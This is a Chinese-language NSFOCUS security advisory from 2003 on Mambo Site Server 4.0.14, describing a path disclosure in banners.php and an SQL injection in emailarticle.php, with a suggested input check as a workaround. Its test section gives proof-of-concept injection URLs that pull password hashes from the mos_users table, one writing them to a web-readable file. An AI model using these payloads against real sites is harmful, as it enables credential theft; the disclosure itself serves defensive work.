安全研究

安全漏洞
Mambo Open Source 4.0.14服务器多个安全漏洞

发布日期:2003-09-18
更新日期:2003-09-23

受影响系统:
Mambo Mambo Site Server 4.0.14
描述:
BUGTRAQ  ID: 8647

Mambo Site Server是一款免费开放源代码WEB内容管理工具,由PHP编写。

Mambo Site Server存在多个漏洞,远程攻击者可以利用这些问题获得路径信息或者密码敏感信息

第一个漏洞是banners.php脚本对没有参数的请求处理不正确,攻击者提交特殊请求,可返回包含安装路径的信息给客户端。

第二个漏洞存在于"emailfriend/emailarticle.php"文件中,由于对$id变量缺少充分检查,提交特殊请求可导致获得md5()密码并邮寄给攻击者。

<*来源:Lifo Fifo (lifofifo20@yahoo.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106391835212725&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Lifo Fifo (lifofifo20@yahoo.com)提供了如下测试方法:

http://localhost/mambo/banners.php?op=click&bid=100 UNION select password from mos_users
where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'

http://localhost/mambo/emailfriend/emailarticle php?submit=submit&email=lifofifo hackingzone org&youremail=webmaster hackingzone org&id=100
UNION select username,email,password
from mos_users where id=1

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在"emailfriend/emailarticle.php"脚本中最开始增加如下代码:

----
if(!is_numeric($id))
    die("Hacking Attempt");
----

厂商补丁:

Mambo
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sourceforge.net/projects/mambo

浏览次数:2730
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障